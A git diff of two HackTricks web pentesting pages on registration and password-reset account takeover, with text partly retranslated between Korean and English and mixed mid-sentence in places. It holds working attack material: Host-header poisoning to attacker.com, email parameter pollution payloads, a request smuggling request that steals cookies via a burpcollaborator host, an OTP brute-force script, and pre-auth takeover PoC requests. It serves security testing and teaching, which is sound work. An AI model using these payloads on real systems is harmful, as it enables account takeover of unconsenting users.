diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md index 4e679fe6e..31b420d6a 100644 --- a/src/pentesting-web/registration-vulnerabilities.md +++ b/src/pentesting-web/registration-vulnerabilities.md @@ -1,77 +1,79 @@ -# 등록 및 인수 취약점 +# Registration & Takeover Vulnerabilities {{#include ../banners/hacktricks-training.md}} -## 등록 인수 +## Registration Takeover -### 중복 등록 +### Duplicate Registration -- 기존 사용자 이름을 사용하여 생성해 보세요. -- 이메일을 다양하게 변경해 보세요: -- 대문자 +- Try to generate using an existing username +- Check varying the email: +- uppercase - \+1@ -- 이메일에 점 추가 -- 이메일 이름에 특수 문자 (%00, %09, %20) -- 이메일 뒤에 검은 문자 추가: `test@test.com a` +- add some dot in the email +- special characters in the email name (%00, %09, %20) +- Put 공백 characters after the email: `test@test.com a` - victim@gmail.com@attacker.com - victim@attacker.com@gmail.com -### 사용자 이름 열거 +### Username Enumeration -애플리케이션 내에서 사용자 이름이 이미 등록되었는지 확인해 보세요. +Check if you can figure out when a username has already been registered inside the application. -### 비밀번호 정책 +### Password Policy -사용자를 생성할 때 비밀번호 정책을 확인하세요 (약한 비밀번호를 사용할 수 있는지 확인).\ -이 경우 자격 증명을 무차별 대입해 볼 수 있습니다. +Creating a user check the password policy (check if you can use weak passwords).\ +In that case you may try to bruteforce credentials. -### SQL 인젝션 +### SQL Injection -[**이 페이지를 확인하세요** ](sql-injection/index.html#insert-statement)계정 인수를 시도하거나 **SQL 인젝션**을 통해 정보를 추출하는 방법을 배우세요. +[**Check this page** ](sql-injection/index.html#insert-statement)to learn how to attempt account takeovers or extract information via **SQL Injections** in registry forms. + +### Oauth Takeovers -### Oauth 인수 {{#ref}} oauth-to-account-takeover.md {{#endref}} -### SAML 취약점 +### SAML Vulnerabilities + {{#ref}} saml-attacks/ {{#endref}} -### 이메일 변경 +### Change Email -등록 후 이메일을 변경해 보고 이 변경이 올바르게 검증되는지 또는 임의의 이메일로 변경할 수 있는지 확인하세요. +When registered try to change the email and check if this change is correctly validated or can change it to arbitrary emails. -### 추가 확인 사항 +### More Checks -- **일회용 이메일** 사용 여부 확인 -- **긴** **비밀번호** (>200)는 **DoS**로 이어짐 -- **계정 생성에 대한 비율 제한 확인** -- username@**burp_collab**.net을 사용하고 **콜백**을 분석하세요. +- Check if you can use **disposable emails** +- **긴** **비밀번호** (>200) leads to **DoS** +- **Check rate limits on account creation** +- Use username@**burp_collab**.net and analyze the **callback** -## **비밀번호 재설정 인수** +## **Password Reset Takeover** -### 참조자를 통한 비밀번호 재설정 토큰 유출 +### Password Reset Token Leak Via Referrer -1. 귀하의 이메일 주소로 비밀번호 재설정을 요청하세요. -2. 비밀번호 재설정 링크를 클릭하세요. -3. 비밀번호를 변경하지 마세요. -4. 3자 웹사이트(예: Facebook, Twitter)를 클릭하세요. -5. Burp Suite 프록시에서 요청을 가로채세요. -6. referer 헤더가 비밀번호 재설정 토큰을 유출하는지 확인하세요. +1. Request password reset to your email address +2. Click on the password reset link +3. Don’t change password +4. Click any 3rd party websites(eg: Facebook, twitter) +5. Intercept the request in Burp Suite proxy +6. Check if the referer header is leaking password reset token. -### 비밀번호 재설정 중독 +### Password Reset Poisoning -1. Burp Suite에서 비밀번호 재설정 요청을 가로채세요. -2. Burp Suite에서 다음 헤더를 추가하거나 수정하세요: `Host: attacker.com`, `X-Forwarded-Host: attacker.com` -3. 수정된 헤더로 요청을 전달하세요.\ +1. Intercept the password reset request in Burp Suite +2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com` +3. Forward the request with the modified header\ `http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com` -4. _host 헤더_를 기반으로 한 비밀번호 재설정 URL을 찾으세요: `https://attacker.com/reset-password.php?token=TOKEN` +4. Look for a password reset URL based on the _host header_ like : `https://attacker.com/reset-password.php?token=TOKEN` -### 이메일 매개변수를 통한 비밀번호 재설정 +### Password Reset Via Email Parameter ```bash # parameter pollution email=victim@mail.com&email=hacker@mail.com @@ -88,58 +90,58 @@ email=victim@mail.com,hacker@mail.com email=victim@mail.com%20hacker@mail.com email=victim@mail.com|hacker@mail.com ``` -### IDOR on API Parameters +### API 매개변수에서의 IDOR -1. 공격자는 자신의 계정으로 로그인하고 **비밀번호 변경** 기능으로 이동해야 합니다. -2. Burp Suite를 시작하고 요청을 가로챕니다. -3. 반복기 탭으로 보내고 매개변수를 편집합니다: 사용자 ID/이메일\ +1. 공격자는 자신의 계정으로 로그인하여 **Change password** 기능으로 이동해야 한다. +2. Burp Suite를 실행하고 요청을 가로챈다. +3. Repeater 탭으로 보내 매개변수(사용자 ID/이메일)를 편집한다.\ `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` -### Weak Password Reset Token +### 약한 비밀번호 재설정 토큰 -비밀번호 재설정 토큰은 매번 무작위로 생성되고 고유해야 합니다.\ -토큰이 만료되는지 또는 항상 동일한지 확인하십시오. 경우에 따라 생성 알고리즘이 약하고 추측할 수 있습니다. 알고리즘에서 사용될 수 있는 변수는 다음과 같습니다. +비밀번호 재설정 토큰은 매번 무작위로 생성되고 고유해야 한다.\ +토큰이 만료되는지 아니면 항상 동일한지 확인해보라. 경우에 따라 생성 알고리즘이 약해 추측 가능하다. 알고리즘에 사용될 수 있는 변수는 다음과 같다. - 타임스탬프 -- 사용자 ID +- UserID - 사용자 이메일 -- 이름 및 성 +- 이름과 성 - 생년월일 - 암호화 - 숫자만 -- 작은 토큰 시퀀스 (문자 \[A-Z,a-z,0-9] 사이) +- 짧은 토큰 시퀀스 (문자 범위: \[A-Z,a-z,0-9]) - 토큰 재사용 - 토큰 만료 날짜 ### Leaking Password Reset Token -1. 특정 이메일을 사용하여 API/UI를 통해 비밀번호 재설정 요청을 트리거합니다. 예: test@mail.com -2. 서버 응답을 검사하고 `resetToken`을 확인합니다. -3. 그런 다음 URL에서 토큰을 사용합니다: `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` +1. 특정 이메일(예: test@mail.com)에 대해 API/UI를 사용해 비밀번호 재설정 요청을 트리거한다. +2. 서버 응답을 검사하고 `resetToken`을 확인한다. +3. 그런 다음 해당 토큰을 다음과 같은 URL에 사용한다: `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` -### Password Reset Via Username Collision +### Username Collision을 이용한 비밀번호 재설정 -1. 피해자의 사용자 이름과 동일한 사용자 이름으로 시스템에 등록하되, 사용자 이름 앞뒤에 공백을 삽입합니다. 예: `"admin "` -2. 악의적인 사용자 이름으로 비밀번호 재설정을 요청합니다. -3. 이메일로 전송된 토큰을 사용하여 피해자의 비밀번호를 재설정합니다. -4. 새 비밀번호로 피해자 계정에 연결합니다. +1. 피해자의 username과 동일하지만 앞뒤에 공백을 삽입한 username으로 시스템에 등록한다. 예: `"admin "` +2. 악성 username으로 비밀번호 재설정을 요청한다. +3. 본인 이메일로 전송된 토큰을 사용해 피해자의 비밀번호를 재설정한다. +4. 새 비밀번호로 피해자 계정에 로그인한다. -플랫폼 CTFd는 이 공격에 취약했습니다.\ -참조: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) +플랫폼 CTFd는 이 공격에 취약했다.\ +See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) -### Account Takeover Via Cross Site Scripting +### Cross Site Scripting을 통한 계정 탈취 -1. 애플리케이션 내 또는 쿠키가 상위 도메인에 범위가 지정된 경우 서브도메인에서 XSS를 찾습니다: `*.domain.com` -2. 현재 **세션 쿠키**를 유출합니다. -3. 쿠키를 사용하여 사용자로 인증합니다. +1. 애플리케이션 내부나 서브도메인에서 XSS를 찾는다(쿠키가 상위 도메인에 scope된 경우: `*.domain.com`). +2. Leak the current **sessions cookie** +3. 해당 쿠키를 이용해 사용자로 인증한다. -### Account Takeover Via HTTP Request Smuggling +### HTTP Request Smuggling을 통한 계정 탈취 -1\. **smuggler**를 사용하여 HTTP 요청 밀수의 유형 (CL, TE, CL.TE)을 감지합니다.\ +1\. **smuggler**를 사용해 HTTP Request Smuggling의 유형(CL, TE, CL.TE)을 탐지한다.\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ -2\. 다음 데이터를 사용하여 `POST / HTTP/1.1`를 덮어쓸 요청을 작성합니다:\ -`GET http://something.burpcollaborator.net HTTP/1.1 X:` 피해자를 burpcollab로 리디렉션하고 쿠키를 훔치는 것이 목표입니다.\ -3\. 최종 요청은 다음과 같을 수 있습니다. +2\. 다음 데이터로 `POST / HTTP/1.1`을 덮어쓸 요청을 구성한다:\ +`GET http://something.burpcollaborator.net HTTP/1.1 X:` — 목표는 피해자들을 burpcollab으로 open redirect 시켜 쿠키를 탈취하는 것이다.\ +3\. 최종 요청은 다음과 같을 수 있다. ``` GET / HTTP/1.1 Transfer-Encoding: chunked @@ -151,20 +153,20 @@ Content-Length: 83 GET http://something.burpcollaborator.net HTTP/1.1 X: X ``` -Hackerone 보고서에서 이 버그를 악용한 사례\ +Hackerone reports exploiting this bug\ \* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ \* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) -### CSRF를 통한 계정 탈취 +### Account Takeover via CSRF -1. CSRF를 위한 페이로드 생성, 예: “비밀번호 변경을 위한 자동 제출 HTML 양식” +1. CSRF용 페이로드를 생성, 예: “HTML form with auto submit for a password change” 2. 페이로드 전송 -### JWT를 통한 계정 탈취 +### Account Takeover via JWT -JSON Web Token은 사용자를 인증하는 데 사용될 수 있습니다. +JSON Web Token이 사용자 인증에 사용될 수 있음. -- 다른 사용자 ID / 이메일로 JWT 수정 +- JWT에서 User ID / Email을 다른 것으로 변경 - 약한 JWT 서명 확인 @@ -172,8 +174,29 @@ JSON Web Token은 사용자를 인증하는 데 사용될 수 있습니다. hacking-jwt-json-web-tokens.md {{#endref}} +## Registration-as-Reset (Upsert on Existing Email) + +일부 signup 핸들러는 제공된 이메일이 이미 존재할 때 upsert를 수행함. 엔드포인트가 이메일과 password만 있는 최소한의 body를 허용하고 소유권 검증을 강제하지 않으면, 피해자의 이메일을 전송해 인증 전(pre-auth)에 password를 덮어쓸 수 있음. + +- Discovery: 번들된 JS(또는 모바일 앱 트래픽)에서 endpoint 이름을 수집한 후, ffuf/dirsearch를 사용해 /parents/application/v4/admin/FUZZ와 같은 베이스 경로를 fuzz함. +- Method hints: GET이 "Only POST request is allowed." 같은 메시지를 반환하면 올바른 HTTP verb가 POST임을, 그리고 JSON body가 예상됨을 나타내는 경우가 많음. +- Minimal body observed in the wild: +```json +{"email":"victim@example.com","password":"New@12345"} +``` +예제 PoC: +```http +POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1 +Host: www.target.tld +Content-Type: application/json + +{"email":"victim@example.com","password":"New@12345"} +``` +영향: reset token, OTP 또는 email verification 없이 Full Account Takeover (ATO). + ## 참고자료 +- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1) - [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index 7793089e2..50e325ab9 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -4,80 +4,81 @@ ## **Password Reset Token Leak Via Referrer** -- HTTP referer header가 URL에 포함된 경우 password reset token이 leak될 수 있습니다. 이는 사용자가 password reset을 요청한 후 제3자 웹사이트 링크를 클릭할 때 발생할 수 있습니다. -- **영향**: Cross-Site Request Forgery (CSRF) 공격을 통해 계정 탈취 가능성. -- **악용 방법**: referer header에 password reset token이 leak되는지 확인하려면, 이메일 주소로 **password reset을 요청**하고 제공된 **reset link를 클릭**하세요. **즉시 비밀번호를 변경하지 마십시오.** 대신 **Burp Suite로 요청을 가로채는 상태에서** Facebook 또는 Twitter 같은 **제3자 웹사이트로 이동**하세요. 요청을 검사하여 **referer header에 password reset token이 포함되어 있는지** 확인하세요. 이는 민감한 정보가 제3자에게 노출될 수 있습니다. -- **참고자료**: +- HTTP referer header가 URL에 포함된 경우 비밀번호 재설정 토큰이 leak될 수 있습니다. 사용자가 비밀번호 재설정을 요청한 뒤 제3자 웹사이트 링크를 클릭할 때 이런 상황이 발생할 수 있습니다. +- **Impact**: Cross-Site Request Forgery (CSRF) 공격을 통해 계정 탈취 가능성. +- **Exploitation**: 비밀번호 재설정을 본인 이메일로 요청하고 제공된 리셋 링크를 클릭합니다. 즉시 비밀번호를 변경하지 마세요. 대신 Burp Suite로 요청을 가로채면서 Facebook이나 Twitter 같은 제3자 웹사이트로 이동합니다. 요청을 검사하여 referer header에 비밀번호 재설정 토큰이 포함되어 있는지 확인하세요. 이는 제3자에게 민감한 정보를 leak할 수 있습니다. +- **References**: - [HackerOne Report 342693](https://hackerone.com/reports/342693) - [HackerOne Report 272379](https://hackerone.com/reports/272379) - [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a) ## **Password Reset Poisoning** -- 공격자는 password reset 요청 중 Host header를 조작하여 reset link를 악성 사이트로 향하게 할 수 있습니다. -- **영향**: reset token을 공격자에게 leaking하여 계정 탈취 가능성. -- **완화 조치**: -- Host header를 허용 도메인 화이트리스트와 비교해 검증하세요. -- 절대 URL을 생성할 때 안전한 서버 측 방법을 사용하세요. -- **패치**: password reset URL을 구성할 때 `$_SERVER['HTTP_HOST']` 대신 `$_SERVER['SERVER_NAME']`을 사용하세요. -- **참고자료**: +- 공격자는 password reset 요청 중 Host header를 조작하여 리셋 링크를 악성 사이트로 유도할 수 있습니다. +- **Impact**: 리셋 토큰이 공격자에게 leaking되어 잠재적인 계정 탈취로 이어질 수 있습니다. +- **Mitigation Steps**: +- Host header를 허용 도메인 화이트리스트와 대조하여 검증합니다. +- 절대 URL을 생성할 때는 안전한 서버사이드 방법을 사용합니다. +- **Patch**: 비밀번호 재설정 URL을 구성할 때 `$_SERVER['SERVER_NAME']`을 사용하고 `$_SERVER['HTTP_HOST']`는 사용하지 마세요. +- **References**: - [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/) ## **Password Reset By Manipulating Email Parameter** Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link. -- &를 사용해 두 번째 파라미터로 공격자 이메일을 추가 +- 공격자는 리셋 링크를 우회시키기 위해 추가 이메일 파라미터를 추가하여 password reset 요청을 조작할 수 있습니다. +- 공격자 이메일을 두 번째 파라미터로 &를 사용해 추가 & ```php POST /resetPassword [...] email=victim@email.com&email=attacker@email.com ``` -- attacker email을 두 번째 매개변수로 %20을 사용해 추가 +- %20을 사용하여 attacker email을 두 번째 매개변수로 추가 ```php POST /resetPassword [...] email=victim@email.com%20email=attacker@email.com ``` -- 공격자 이메일을 | 를 사용해 두 번째 매개변수로 추가 +- 파이프(|)를 사용하여 공격자 이메일을 두 번째 매개변수로 추가 ```php POST /resetPassword [...] email=victim@email.com|email=attacker@email.com ``` -- 공격자 이메일을 cc로 두 번째 매개변수로 추가 +- 공격자 이메일을 cc로 두 번째 매개변수에 추가 ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dcc:attacker@mail.tld" ``` -- bcc를 사용하여 attacker 이메일을 두 번째 매개변수로 추가 +- bcc를 사용하여 공격자 이메일을 두 번째 매개변수로 추가 ```php POST /resetPassword [...] email="victim@mail.tld%0a%0dbcc:attacker@mail.tld" ``` -- 두 번째 매개변수로 attacker email을 쉼표(,)로 추가 +- 두 번째 매개변수로 attacker email을 추가하려면 ,를 사용하세요 ```php POST /resetPassword [...] email="victim@mail.tld",email="attacker@mail.tld" ``` -- json array에서 두 번째 매개변수로 attacker email을 추가하세요 +- json 배열의 두 번째 매개변수로 attacker email을 추가합니다 ```php POST /resetPassword [...] {"email":["victim@mail.tld","atracker@mail.tld"]} ``` - **완화 조치**: -- 서버 측에서 이메일 파라미터를 올바르게 파싱하고 검증하세요. +- 이메일 파라미터를 서버 측에서 올바르게 파싱하고 검증하세요. - injection attacks를 방지하기 위해 prepared statements 또는 parameterized queries를 사용하세요. -- **참고 자료**: +- **참고자료**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/) - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872) -## **API 파라미터로 임의 사용자의 이메일 및 비밀번호 변경** +## **API 파라미터를 통해 모든 사용자 이메일 및 비밀번호 변경** - 공격자는 API 요청의 이메일 및 비밀번호 파라미터를 수정하여 계정 자격 증명을 변경할 수 있습니다. ```php @@ -86,93 +87,93 @@ POST /api/changepass ("form": {"email":"victim@email.tld","password":"12345678"}) ``` - **완화 조치**: -- 매개변수 검증과 인증 검사를 엄격히 시행하세요. -- 의심스러운 활동을 탐지하고 대응할 수 있도록 강력한 로깅과 모니터링을 구현하세요. -- **참고**: +- 매개변수 검증과 인증 확인을 엄격히 수행하세요. +- 의심스러운 활동을 탐지하고 대응할 수 있도록 강력한 로깅 및 모니터링을 구현하세요. +- **참고자료**: - [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240) ## **No Rate Limiting: Email Bombing** -- password reset 요청에 대한 rate limiting 부재는 email bombing으로 이어져 사용자가 reset emails로 과도하게 몰릴 수 있습니다. -- **완화 조치**: -- IP address 또는 user account 기반의 rate limiting을 적용하세요. -- 자동화된 남용을 막기 위해 CAPTCHA 챌린지를 사용하세요. -- **참고**: +- password reset 요청에 대해 rate limiting이 없으면 email bombing으로 이어져 사용자가 리셋 이메일로 압도될 수 있습니다. +- **Mitigation Steps**: +- IP 주소 또는 사용자 계정 기반으로 rate limiting을 구현하세요. +- 자동화된 악용을 막기 위해 CAPTCHA 도전을 사용하세요. +- **References**: - [HackerOne Report 280534](https://hackerone.com/reports/280534) -## **Password Reset Token이 어떻게 생성되는지 파악하기** +## **Find out How Password Reset Token is Generated** -- 토큰 생성의 패턴이나 방법을 이해하면 토큰을 예측하거나 brute-force할 수 있습니다. 몇 가지 옵션: -- Based Timestamp -- Based on the UserID -- Based on email of User -- Based on Firstname and Lastname -- Based on Date of Birth -- Based on Cryptography -- **완화 조치**: -- 토큰 생성에 강력한 cryptographic 방법을 사용하세요. +- Token 생성 방식의 패턴이나 메소드를 이해하면 token을 예측하거나 brute-forcing할 수 있습니다. 몇 가지 옵션: +- 타임스탬프 기반 +- UserID 기반 +- 사용자 email 기반 +- Firstname 및 Lastname 기반 +- 생년월일 기반 +- Cryptography 기반 +- **Mitigation Steps**: +- 토큰 생성에는 강력한 cryptographic 방식을 사용하세요. - 예측 가능성을 방지하기 위해 충분한 randomness와 길이를 보장하세요. -- **도구**: Burp Sequencer를 사용하여 토큰의 randomness를 분석하세요. +- **Tools**: Burp Sequencer를 사용하여 토큰의 무작위성을 분석하세요. ## **Guessable UUID** -- UUIDs (version 1)이 guessable하거나 predictable하면 공격자가 brute-force하여 유효한 reset tokens를 생성할 수 있습니다. 확인: +- UUIDs (version 1)이 추측 가능하거나 예측 가능하면, 공격자는 이를 brute-force하여 유효한 reset tokens를 생성할 수 있습니다. 확인: {{#ref}} uuid-insecurities.md {{#endref}} -- **완화 조치**: -- 무작위성을 위해 GUID version 4를 사용하거나 다른 버전에는 추가 보안 조치를 구현하세요. -- **도구**: [guidtool](https://github.com/intruder-io/guidtool)로 GUID를 분석하고 생성하세요. +- **Mitigation Steps**: +- 무작위성을 위해 GUID version 4를 사용하거나 다른 버전에는 추가 보안 조치를 적용하세요. +- **Tools**: [guidtool](https://github.com/intruder-io/guidtool)을 사용해 GUID를 분석하고 생성하세요. ## **Response Manipulation: Replace Bad Response With Good One** -- error messages나 restrictions를 우회하기 위해 HTTP responses를 조작하는 행위. -- **완화 조치**: -- response 무결성을 보장하기 위해 server-side 검사를 구현하세요. -- man-in-the-middle 공격을 방지하기 위해 HTTPS와 같은 보안 통신 채널을 사용하세요. -- **참고**: +- 에러 메시지나 제한을 우회하기 위해 HTTP 응답을 조작하는 것. +- **Mitigation Steps**: +- 서버 측 검증을 구현하여 response 무결성을 보장하세요. +- man-in-the-middle 공격을 방지하기 위해 HTTPS 같은 secure communication channels를 사용하세요. +- **Reference**: - [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3) ## **Using Expired Token** -- 만료된 tokens가 여전히 password reset에 사용 가능한지 테스트하기. -- **완화 조치**: -- 엄격한 token 만료 정책을 구현하고 token 만료를 server-side에서 검증하세요. +- 만료된 token이 여전히 password reset에 사용 가능한지 테스트합니다. +- **Mitigation Steps**: +- 엄격한 token 만료 정책을 적용하고 server-side에서 만료를 검증하세요. ## **Brute Force Password Reset Token** -- IP 기반 rate limits를 우회하기 위해 Burpsuite와 IP-Rotator 같은 도구를 사용해 reset token을 brute-force하려는 시도. -- **완화 조치**: -- 강력한 rate-limiting 및 account lockout 메커니즘을 구현하세요. +- Burpsuite와 IP-Rotator 같은 도구를 사용해 reset token을 brute-force 시도하여 IP 기반 rate limits를 우회합니다. +- **Mitigation Steps**: +- 강력한 rate-limiting 및 계정 잠금 메커니즘을 구현하세요. - brute-force 공격을 시사하는 의심스러운 활동을 모니터링하세요. ## **Try Using Your Token** -- 공격자의 reset token이 피해자의 email과 함께 사용될 수 있는지 테스트하기. -- **완화 조치**: -- 토큰이 user session 또는 다른 사용자별 속성과 바인딩되어 있는지 확인하세요. +- 공격자의 reset token이 피해자의 email과 함께 사용될 수 있는지 테스트합니다. +- **Mitigation Steps**: +- 토큰이 user session이나 다른 사용자 고유 속성에 바인딩되도록 하세요. ## **Session Invalidation in Logout/Password Reset** -- 사용자가 logout하거나 password를 reset할 때 session이 무효화되는지 확인하세요. -- **완화 조치**: -- 적절한 session 관리 구현하여 logout 또는 password reset 시 모든 session이 무효화되도록 하세요. +- 사용자가 logout하거나 password reset할 때 세션이 무효화되는지 확인합니다. +- **Mitigation Steps**: +- 적절한 session 관리를 구현하여 logout 또는 password reset 시 모든 세션이 무효화되도록 하세요. ## **Session Invalidation in Logout/Password Reset** -- Reset tokens에는 만료 시간이 있어 그 이후에는 무효화되어야 합니다. -- **완화 조치**: -- reset tokens에 대해 합리적인 만료 시간을 설정하고 server-side에서 엄격히 적용하세요. +- Reset tokens에는 만료 시간이 있어 만료 후 무효화되어야 합니다. +- **Mitigation Steps**: +- reset tokens에 합리적인 만료 시간을 설정하고 server-side에서 이를 엄격히 적용하세요. ## **OTP rate limit bypass by changing your session** -- 웹사이트가 wrong OTP 시도를 추적하기 위해 user session을 사용하고 OTP가 약한 경우(<= 4 digits)에는 OTP를 효과적으로 bruteforce할 수 있습니다. -- **exploitation**: -- 서버에 의해 차단된 후 새 session token을 요청하세요. -- **Example** code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!): +- 웹사이트가 wrong OTP 시도를 추적하기 위해 user session을 사용하고, OTP가 약한 경우(<= 4자리) 실제로 OTP를 효과적으로 bruteforce할 수 있습니다. +- **악용 방법**: +- 서버에 의해 차단된 후 새 session token을 요청하면 됩니다. +- **예시**: 이 버그를 악용해 OTP를 무작위로 추측하는 코드 (세션을 변경하면 OTP도 변경되어 순차적으로 bruteforce할 수 없음): ``` python # Authentication bypass by password reset @@ -203,7 +204,7 @@ parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 parms["s"] = 164 # not important it only efects the frontend res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers) -if ter == 8: # follow number of rails +if ter == 8: # follow number of trails out = requests.get(logout,headers=headers) # log u out mainp = requests.get(root) # gets another phpssid (token) @@ -233,9 +234,9 @@ print("[+] Attck stopped") ## Arbitrary password reset via skipOldPwdCheck (pre-auth) -- 일부 구현은 skipOldPwdCheck=true로 password-change 루틴을 호출하고 reset token이나 소유권을 확인하지 않는 password change action을 노출합니다. 만약 endpoint가 change_password 같은 action 파라미터와 request body에 username/new password를 허용하면 공격자는 pre-auth 상태에서 임의의 계정을 reset할 수 있습니다. +일부 구현은 password-change 루틴을 skipOldPwdCheck=true로 호출하는 password change action을 노출하고, reset token이나 소유권을 확인하지 않습니다. 만약 endpoint가 change_password 같은 action 파라미터와 요청 본문에 username/new password를 허용한다면, 공격자는 pre-auth 상태에서 임의의 계정을 reset할 수 있습니다. -Vulnerable pattern (PHP): +취약한 패턴 (PHP): ```php // hub/rpwd.php RequestHandler::validateCSRFToken(); @@ -262,14 +263,27 @@ Content-Type: application/x-www-form-urlencoded action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd! ``` -완화 조치: -- 비밀번호 변경 전에 계정 및 세션에 바인딩된 유효한 시간 제한 재설정 토큰을 항상 요구하세요. -- skipOldPwdCheck 경로를 인증되지 않은 사용자에게 절대 노출하지 마세요; 일반적인 비밀번호 변경에는 인증을 강제하고 기존 비밀번호를 확인하세요. -- 비밀번호 변경 후 모든 활성 세션과 재설정 토큰을 무효화하세요. +Mitigations: +- 비밀번호 변경 전에 계정과 세션에 바인딩된 유효한 시간제한(reset) 토큰을 항상 요구하세요. +- skipOldPwdCheck 경로를 비인증 사용자에게 절대 노출하지 마세요; 일반 비밀번호 변경에는 인증을 강제하고 기존 비밀번호를 확인하세요. +- 비밀번호 변경 후 모든 활성 세션과 리셋 토큰을 무효화하세요. -## 참고자료 +## Registration-as-Password-Reset (Upsert on Existing Email) + +일부 애플리케이션은 signup handler를 upsert로 구현합니다. 이메일이 이미 존재하면 handler는 요청을 거부하는 대신 사용자 레코드를 조용히 업데이트합니다. registration endpoint가 기존 이메일과 새 비밀번호를 포함한 최소한의 JSON 바디를 받으면, 이는 소유권 검증 없이 pre-auth password reset이 되어 full account takeover를 허용합니다. + +Pre-auth ATO PoC (기존 사용자의 비밀번호 덮어쓰기): +```http +POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1 +Host: www.target.tld +Content-Type: application/json + +{"email":"victim@example.com","password":"New@12345"} +``` +## 참고 자료 - [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token) - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1) {{#include ../banners/hacktricks-training.md}}